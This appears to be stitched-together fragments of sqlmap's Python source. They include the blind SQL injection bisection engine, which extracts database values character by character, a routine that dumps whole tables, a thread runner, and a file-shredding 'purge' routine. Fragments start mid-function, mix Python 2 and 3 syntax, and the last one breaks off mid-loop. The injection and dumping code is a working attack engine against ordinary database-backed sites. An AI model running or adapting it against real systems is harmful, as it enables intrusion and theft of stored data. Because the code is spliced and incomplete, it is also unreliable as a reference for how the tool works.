def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ try: __import__("gobject") from thirdparty.gprof2dot import gprof2dot from thirdparty.xdot import xdot import gtk import pydot except ImportError as ex: errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString( ex) errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) return if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") if dotOutputFile is None: dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") if imageOutputFile is None: imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") if os.path.exists(profileOutputFile): os.remove(profileOutputFile) if os.path.exists(dotOutputFile): os.remove(dotOutputFile) if os.path.exists(imageOutputFile): os.remove(imageOutputFile) infoMsg = "profiling the execution into file '%s'" % profileOutputFile logger.info(infoMsg) # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile logger.info(infoMsg) # Create dot file by using extra/gprof2dot/gprof2dot.py # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) parser = gprof2dot.PstatsParser(profileOutputFile) profile = parser.parse() profile.prune(0.5 / 100.0, 0.1 / 100.0) dot = gprof2dot.DotWriter(dotFilePointer) dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) dotFilePointer.close() infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile logger.info(infoMsg) # Create graph image (png) by using pydot (python-pydot) # http://code.google.com/p/pydot/ pydotGraph = pydot.graph_from_dot_file(dotOutputFile) # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ if isinstance(pydotGraph, list): pydotGraph = pydotGraph[0] try: pydotGraph.write_png(imageOutputFile) except OSError: errMsg = "profiling requires graphviz installed " errMsg += "(Hint: 'sudo apt-get install graphviz')" logger.error(errMsg) else: infoMsg = "displaying interactive graph with xdot library" logger.info(infoMsg) # Display interactive Graphviz dot file by using extra/xdot/xdot.py # http://code.google.com/p/jrfonseca/wiki/XDot win = xdot.DotWindow() win.connect('destroy', gtk.main_quit) win.set_filter("dot") win.open_file(dotOutputFile) gtk.main()
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset==asciiTbl) else: val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] def _threadFunction(): try: threadFunction() finally: if conf.hashDB: conf.hashDB.close() kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False kb.technique = ThreadData.technique kb.multiThreadMode = False try: if threadChoice and conf.threads == numThreads == 1 and not ( kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True if isDigit(choice): if int( choice ) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: conf.threads = numThreads = int(choice) break if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: _threadFunction() return kb.multiThreadMode = True # Start the threads for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() except Exception as ex: errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish alive = True while alive: alive = False for thread in threads: if thread.is_alive(): alive = True time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() kb.prependFlag = False kb.threadContinue = False kb.threadException = True if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): kb.multipleCtrlC = True raise SqlmapUserQuitException( "user aborted (Ctrl+C was pressed multiple times)") kb.lastCtrlCTime = time.time() if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance( ex, KeyboardInterrupt) else "")) try: while (threading.active_count() > 1): pass except KeyboardInterrupt: kb.multipleCtrlC = True raise SqlmapThreadException( "user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() except: print() if not kb.multipleCtrlC: from lib.core.common import unhandledExceptionMessage kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) traceback.print_exc() finally: kb.multiThreadMode = False kb.threadContinue = True kb.threadException = False kb.technique = None for lock in kb.locks.values(): if lock.locked(): try: lock.release() except: pass if conf.get("hashDB"): conf.hashDB.flush(True) if cleanupFunction: cleanupFunction()
addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception, ex: if not isinstance(ex, urllib2.HTTPError): errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex logger.critical(errMsg) return taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue
def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warn(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend( [os.path.abspath(os.path.join(rootpath, _)) for _ in directories]) filepaths.extend( [os.path.abspath(os.path.join(rootpath, _)) for _ in filenames]) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with open(filepath, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename( filepath, os.path.join( os.path.dirname(filepath), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename( dirpath, os.path.join( os.path.dirname(dirpath), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) try: shutil.rmtree(directory) except OSError, ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex)))
raise except SqlmapBaseException, ex: errMsg = getUnicode(ex.message) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets and conf.resultsFilename: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename logger.info(infoMsg) return True
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter, sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.isDbms(DBMS.ORACLE): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise sqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise sqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue colList = sorted( filter( None, kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)].keys())) colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colString infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) entriesCount = 0 if any([ isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct ]): entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip( *[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) if not entries and query: entries = inject.getValue(query, blind=False, dump=True) if isNoneValue(entries): entries = [] elif isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' _ = len( DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen 